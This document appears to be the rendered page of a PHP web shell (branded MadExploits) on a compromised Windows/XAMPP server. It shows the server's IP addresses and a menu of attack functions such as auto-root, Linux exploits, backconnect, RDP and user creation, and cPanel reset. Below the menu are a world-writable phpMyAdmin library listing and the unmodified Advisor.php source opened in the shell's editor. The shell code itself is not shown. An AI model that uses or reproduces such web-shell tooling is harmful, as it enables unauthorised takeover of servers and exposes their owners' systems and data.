Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 18.118.7.18
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Command
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
ConfigStorage
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Crypto
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbal
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Exceptions
[ DIR ]
drwxrwxrwx
Export
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Html
[ DIR ]
drwxrwxrwx
Http
[ DIR ]
drwxrwxrwx
Image
[ DIR ]
drwxrwxrwx
Import
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Partitioning
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Providers
[ DIR ]
drwxrwxrwx
Query
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Table
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
WebAuthn
[ DIR ]
drwxrwxrwx
Advisor.php
12.32
KB
-rw-rw-rw-
Bookmark.php
9.19
KB
-rw-rw-rw-
BrowseForeigners.php
10.63
KB
-rw-rw-rw-
Cache.php
1.5
KB
-rw-rw-rw-
Charsets.php
6.82
KB
-rw-rw-rw-
CheckUserPrivileges.php
11.3
KB
-rw-rw-rw-
Common.php
19.4
KB
-rw-rw-rw-
Config.php
41.65
KB
-rw-rw-rw-
Console.php
3.25
KB
-rw-rw-rw-
Core.php
28.91
KB
-rw-rw-rw-
CreateAddField.php
15.83
KB
-rw-rw-rw-
DatabaseInterface.php
71.73
KB
-rw-rw-rw-
DbTableExists.php
2.86
KB
-rw-rw-rw-
Encoding.php
8.41
KB
-rw-rw-rw-
Error.php
13.63
KB
-rw-rw-rw-
ErrorHandler.php
18.63
KB
-rw-rw-rw-
ErrorReport.php
8.99
KB
-rw-rw-rw-
Export.php
45.7
KB
-rw-rw-rw-
FieldMetadata.php
11.11
KB
-rw-rw-rw-
File.php
19.75
KB
-rw-rw-rw-
FileListing.php
2.88
KB
-rw-rw-rw-
FlashMessages.php
1.22
KB
-rw-rw-rw-
Font.php
5.58
KB
-rw-rw-rw-
Footer.php
8.06
KB
-rw-rw-rw-
Git.php
18
KB
-rw-rw-rw-
Header.php
20
KB
-rw-rw-rw-
Import.php
48.72
KB
-rw-rw-rw-
Index.php
14.83
KB
-rw-rw-rw-
IndexColumn.php
4.75
KB
-rw-rw-rw-
InsertEdit.php
89.05
KB
-rw-rw-rw-
InternalRelations.php
17.31
KB
-rw-rw-rw-
IpAllowDeny.php
9.13
KB
-rw-rw-rw-
Language.php
4.47
KB
-rw-rw-rw-
LanguageManager.php
22.74
KB
-rw-rw-rw-
Linter.php
4.99
KB
-rw-rw-rw-
ListAbstract.php
1.67
KB
-rw-rw-rw-
ListDatabase.php
4.11
KB
-rw-rw-rw-
Logging.php
2.69
KB
-rw-rw-rw-
Menu.php
20.4
KB
-rw-rw-rw-
Message.php
18.68
KB
-rw-rw-rw-
Mime.php
918
B
-rw-rw-rw-
Normalization.php
41.53
KB
-rw-rw-rw-
OpenDocument.php
8.62
KB
-rw-rw-rw-
Operations.php
35.11
KB
-rw-rw-rw-
OutputBuffering.php
4.1
KB
-rw-rw-rw-
ParseAnalyze.php
2.34
KB
-rw-rw-rw-
Pdf.php
4.17
KB
-rw-rw-rw-
Plugins.php
21.83
KB
-rw-rw-rw-
Profiling.php
2.16
KB
-rw-rw-rw-
RecentFavoriteTable.php
11.44
KB
-rw-rw-rw-
Replication.php
4.81
KB
-rw-rw-rw-
ReplicationGui.php
21.24
KB
-rw-rw-rw-
ReplicationInfo.php
4.79
KB
-rw-rw-rw-
ResponseRenderer.php
13.5
KB
-rw-rw-rw-
Routing.php
6.55
KB
-rw-rw-rw-
Sanitize.php
11.98
KB
-rw-rw-rw-
SavedSearches.php
11.33
KB
-rw-rw-rw-
Scripts.php
3.74
KB
-rw-rw-rw-
Session.php
8.16
KB
-rw-rw-rw-
Sql.php
64.01
KB
-rw-rw-rw-
SqlQueryForm.php
6.74
KB
-rw-rw-rw-
StorageEngine.php
15.71
KB
-rw-rw-rw-
SystemDatabase.php
3.98
KB
-rw-rw-rw-
Table.php
90.33
KB
-rw-rw-rw-
Template.php
4.5
KB
-rw-rw-rw-
Theme.php
7.32
KB
-rw-rw-rw-
ThemeManager.php
7
KB
-rw-rw-rw-
Tracker.php
30.34
KB
-rw-rw-rw-
Tracking.php
36.11
KB
-rw-rw-rw-
Transformations.php
16.31
KB
-rw-rw-rw-
TwoFactor.php
7.49
KB
-rw-rw-rw-
Types.php
25.85
KB
-rw-rw-rw-
Url.php
10.61
KB
-rw-rw-rw-
UrlRedirector.php
1.74
KB
-rw-rw-rw-
UserPassword.php
6.86
KB
-rw-rw-rw-
UserPreferences.php
10.49
KB
-rw-rw-rw-
Util.php
86.45
KB
-rw-rw-rw-
Version.php
556
B
-rw-rw-rw-
VersionInformation.php
7.3
KB
-rw-rw-rw-
ZipExtension.php
10.33
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Advisor.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Server\SysInfo\SysInfo; use Symfony\Component\ExpressionLanguage\ExpressionLanguage; use Throwable; use function __; use function array_merge; use function htmlspecialchars; use function implode; use function preg_match; use function preg_replace_callback; use function round; use function sprintf; use function str_contains; use function substr; use function vsprintf; /** * A simple rules engine, that executes the rules in the advisory_rules files. */ class Advisor { private const GENERIC_RULES_FILE = 'libraries/advisory_rules_generic.php'; private const BEFORE_MYSQL80003_RULES_FILE = 'libraries/advisory_rules_mysql_before80003.php'; /** @var DatabaseInterface */ private $dbi; /** @var array */ private $variables; /** @var array */ private $globals; /** @var array */ private $rules; /** @var array */ private $runResult; /** @var ExpressionLanguage */ private $expression; /** * @param DatabaseInterface $dbi DatabaseInterface object * @param ExpressionLanguage $expression ExpressionLanguage object */ public function __construct(DatabaseInterface $dbi, ExpressionLanguage $expression) { $this->dbi = $dbi; $this->expression = $expression; /* * Register functions for ExpressionLanguage, we intentionally * do not implement support for compile as we do not use it. */ $this->expression->register( 'round', static function (): void { }, /** * @param array $arguments * @param float $num */ static function ($arguments, $num) { return round($num); } ); $this->expression->register( 'substr', static function (): void { }, /** * @param array $arguments * @param string $string * @param int $start * @param int $length */ static function ($arguments, $string, $start, $length) { return substr($string, $start, $length); } ); $this->expression->register( 'preg_match', static function (): void { }, /** * @param array $arguments * @param string $pattern * @param string $subject */ static function ($arguments, $pattern, $subject) { return preg_match($pattern, $subject); } ); $this->expression->register( 'ADVISOR_bytime', static function (): void { }, /** * @param array $arguments * @param float $num * @param int $precision */ static function ($arguments, $num, $precision) { return self::byTime($num, $precision); } ); $this->expression->register( 'ADVISOR_timespanFormat', static function (): void { }, /** * @param array $arguments * @param string $seconds */ static function ($arguments, $seconds) { return Util::timespanFormat((int) $seconds); } ); $this->expression->register( 'ADVISOR_formatByteDown', static function (): void { }, /** * @param array $arguments * @param int $value * @param int $limes * @param int $comma */ static function ($arguments, $value, $limes = 6, $comma = 0) { return implode(' ', (array) Util::formatByteDown($value, $limes, $comma)); } ); $this->expression->register( 'fired', static function (): void { }, /** * @param array $arguments * @param int $value */ function ($arguments, $value) { if (! isset($this->runResult['fired'])) { return 0; } // Did matching rule fire? foreach ($this->runResult['fired'] as $rule) { if ($rule['id'] == $value) { return '1'; } } return '0'; } ); /* Some global variables for advisor */ $this->globals = [ 'PMA_MYSQL_INT_VERSION' => $this->dbi->getVersion(), 'IS_MARIADB' => $this->dbi->isMariaDB(), ]; } private function setVariables(): void { $globalStatus = $this->dbi->fetchResult('SHOW GLOBAL STATUS', 0, 1); $globalVariables = $this->dbi->fetchResult('SHOW GLOBAL VARIABLES', 0, 1); $sysInfo = SysInfo::get(); $memory = $sysInfo->memory(); $systemMemory = ['system_memory' => $memory['MemTotal'] ?? 0]; $this->variables = array_merge($globalStatus, $globalVariables, $systemMemory); } /** * @param string|int $variable Variable to set * @param mixed $value Value to set */ public function setVariable($variable, $value): void { $this->variables[$variable] = $value; } private function setRules(): void { $isMariaDB = str_contains($this->variables['version'], 'MariaDB'); $genericRules = include ROOT_PATH . self::GENERIC_RULES_FILE; if (! $isMariaDB && $this->globals['PMA_MYSQL_INT_VERSION'] >= 80003) { $this->rules = $genericRules; return; } $extraRules = include ROOT_PATH . self::BEFORE_MYSQL80003_RULES_FILE; $this->rules = array_merge($genericRules, $extraRules); } /** * @return array */ public function getRunResult(): array { return $this->runResult; } /** * @return array */ public function run(): array { $this->setVariables(); $this->setRules(); $this->runRules(); return $this->runResult; } /** * Stores current error in run results. * * @param string $description description of an error. * @param Throwable $exception exception raised */ private function storeError(string $description, Throwable $exception): void { $this->runResult['errors'][] = $description . ' ' . sprintf( __('Error when evaluating: %s'), $exception->getMessage() ); } /** * Executes advisor rules */ private function runRules(): void { $this->runResult = [ 'fired' => [], 'notfired' => [], 'unchecked' => [], 'errors' => [], ]; foreach ($this->rules as $rule) { $this->variables['value'] = 0; $precondition = true; if (isset($rule['precondition'])) { try { $precondition = $this->evaluateRuleExpression($rule['precondition']); } catch (Throwable $e) { $this->storeError( sprintf( __('Failed evaluating precondition for rule \'%s\'.'), $rule['name'] ), $e ); continue; } } if (! $precondition) { $this->addRule('unchecked', $rule); continue; } try { $value = $this->evaluateRuleExpression($rule['formula']); } catch (Throwable $e) { $this->storeError( sprintf( __('Failed calculating value for rule \'%s\'.'), $rule['name'] ), $e ); continue; } $this->variables['value'] = $value; try { if ($this->evaluateRuleExpression($rule['test'])) { $this->addRule('fired', $rule); } else { $this->addRule('notfired', $rule); } } catch (Throwable $e) { $this->storeError( sprintf( __('Failed running test for rule \'%s\'.'), $rule['name'] ), $e ); } } } /** * Adds a rule to the result list * * @param string $type type of rule * @param array $rule rule itself */ public function addRule(string $type, array $rule): void { if ($type !== 'notfired' && $type !== 'fired') { $this->runResult[$type][] = $rule; return; } if (isset($rule['justification_formula'])) { try { $params = $this->evaluateRuleExpression('[' . $rule['justification_formula'] . ']'); } catch (Throwable $e) { $this->storeError( sprintf(__('Failed formatting string for rule \'%s\'.'), $rule['name']), $e ); return; } $rule['justification'] = vsprintf($rule['justification'], $params); } // Replaces {server_variable} with 'server_variable' // linking to /server/variables $rule['recommendation'] = preg_replace_callback( '/\{([a-z_0-9]+)\}/Ui', function (array $matches) { return $this->replaceVariable($matches); }, $rule['recommendation'] ); $rule['issue'] = preg_replace_callback( '/\{([a-z_0-9]+)\}/Ui', function (array $matches) { return $this->replaceVariable($matches); }, $rule['issue'] ); // Replaces external Links with Core::linkURL() generated links $rule['recommendation'] = preg_replace_callback( '#href=("|\')(https?://[^"\']+)\1#i', function (array $matches) { return $this->replaceLinkURL($matches); }, $rule['recommendation'] ); $this->runResult[$type][] = $rule; } /** * Callback for wrapping links with Core::linkURL * * @param array $matches List of matched elements form preg_replace_callback * * @return string Replacement value */ private function replaceLinkURL(array $matches): string { return 'href="' . Core::linkURL($matches[2]) . '" target="_blank" rel="noopener noreferrer"'; } /** * Callback for wrapping variable edit links * * @param array $matches List of matched elements form preg_replace_callback * * @return string Replacement value */ private function replaceVariable(array $matches): string { return '<a href="' . Url::getFromRoute('/server/variables', ['filter' => $matches[1]]) . '">' . htmlspecialchars($matches[1]) . '</a>'; } /** * Runs a code expression, replacing variable names with their respective values * * @return mixed result of evaluated expression */ private function evaluateRuleExpression(string $expression) { return $this->expression->evaluate($expression, array_merge($this->variables, $this->globals)); } /** * Formats interval like 10 per hour * * @param float $num number to format * @param int $precision required precision * * @return string formatted string */ public static function byTime(float $num, int $precision): string { if ($num >= 1) { // per second $per = __('per second'); } elseif ($num * 60 >= 1) { // per minute $num *= 60; $per = __('per minute'); } elseif ($num * 60 * 60 >= 1) { // per hour $num *= 60 * 60; $per = __('per hour'); } else { $num *= 24 * 60 * 60; $per = __('per day'); } $num = round($num, $precision); if ($num == 0) { $num = '<' . 10 ** (-$precision); } return $num . ' ' . $per; } }
Close